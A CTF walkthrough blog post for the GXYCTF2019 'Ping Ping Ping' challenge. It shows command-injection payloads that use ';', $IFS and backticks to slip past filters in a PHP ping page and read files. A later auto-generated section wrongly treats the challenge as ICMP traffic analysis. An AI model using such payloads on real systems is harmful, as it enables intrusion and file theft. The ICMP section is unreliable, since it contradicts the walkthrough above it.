[GXYCTF2019]Ping Ping Ping1

文章讲述了如何通过构造payload,利用IP地址和特殊字符技巧,绕过PHP脚本的安全检查,最终获取flag的过程,涉及本地回环地址、过滤机制和Linux内部变量的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

解题步骤:

  • 提示: /?ip=
    • 这是URL中的查询参数,用于指定目标服务器的IP地址
  • 构造payload: /?ip=127.0.0.1;ls
    • 尝试将参数ip的值设置为127.0.0.1
    • 127.0.0.1是本地回环地址,用于指代本机,当一个应用程序需要与本地进行通信时,可使用127.0.0.1作为目标地址
    • “;”作为分隔符,将命令与前面的参数分开
    • 在本地主机执行ls命令,以列出当前目录中的文件和文件夹
  • 回显: 
    • 出现了flag.php
  • 构造payload: /?ip=127.0.0.1;cat flag.php
    • 尝试读取flag.php的内容
  • 回显: /?ip= fxck your space!
    • 过滤了空格
  • 构造payload: /?ip=127.0.0.1;cat$IFS$1flag.php
    • 在Linux中,可以使用$IFS(Internal Field Separator)变量来绕过空格
  • 回显: /?ip= fxck your flag!
    • 猜测应用程序对flag这个关键字进行了过滤
  • 构造payload: /?ip=127.0.0.1;cat$IFS$1index.php
    • 查看index.php里的内容
  • 回显:
    • 一段PHP脚本,用于检测用户输入的IP地址是否包含恶意字符(通配符等)
    • 如果包含恶意字符,程序将输出相应的错误信息并终止执行
    • 否则,程序将使用ping命令测试该IP地址的连通性,并输出结果
  • 构造payload: /?ip=127.0.0.1;cat$IFS$1反引号ls反引号
    • 反引号在键盘左上方(和波浪线同一格~)在这里的作用是将命令的输出当作输入执行
  • 回显
    • 查看源代码,得到flag

 

 

针对 GXYCTF2019 中名为 'Ping Ping Ping' 的挑战题,该题目属于网络安全竞赛中的网络层攻击与防御类别。虽然提供的参考资料主要讨论了连续提示上的后门攻击[^1],这与具体 CTF 题目不完全匹配,但可以借鉴其中关于协议分析和异常检测的思想来理解此 CTF 挑战。 对于 'Ping Ping Ping' 这一特定挑战,通常涉及 ICMP 协议的深入理解和应用。ICMP 主要用于在网络设备之间传递控制消息,最著名的例子就是 `ping` 命令所使用的回显请求(Echo Request)和回显应答(Echo Reply)。在实际比赛环境中,选手可能需要利用或绕过防火墙规则、识别隐藏信息或者通过修改 ping 数据包的内容来进行通信。 解决方案一般会围绕以下几个方面展开: ### 1. 抓取并分析流量 为了找到潜在的秘密通道或其他隐蔽的信息传输方式,参赛者可能会使用 Wireshark 或 tcpdump 工具捕获网络数据流,并仔细检查每一个字段,特别是那些看似无害但实际上被用来携带额外负载的部分。 ```bash tcpdump -i any icmp -w pings.pcap ``` 上述命令将会监听所有接口上所有的 ICMP 流量并将它们保存到文件 "pings.pcap" 中以便后续分析。 ### 2. 修改发送的数据包结构 有时解题的关键在于构造特殊的 ICMP 请求报文。例如,在某些情况下,可以通过改变 TTL (Time To Live) 字段或者其他头部选项实现目标主机的不同响应行为;又或者是将秘密信息编码进未受保护的有效载荷部分。 ```python from scapy.all import * def craft_custom_ping(target_ip, payload): packet = IP(dst=target_ip)/ICMP()/Raw(load=payload) send(packet) craft_custom_ping("192.168.1.1", b"hidden message") ``` 这段 Python 代码展示了如何创建一个自定义的 ICMP Echo Request 并向指定的目标地址发送带有特殊有效载荷的消息。 尽管这些方法和技术能够帮助解决问题,但是具体的实施细节取决于主办方设置的具体条件以及所提供的线索。因此建议回顾赛事期间官方给出的相关提示,并尝试重现当时的环境以更好地模拟解答过程。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值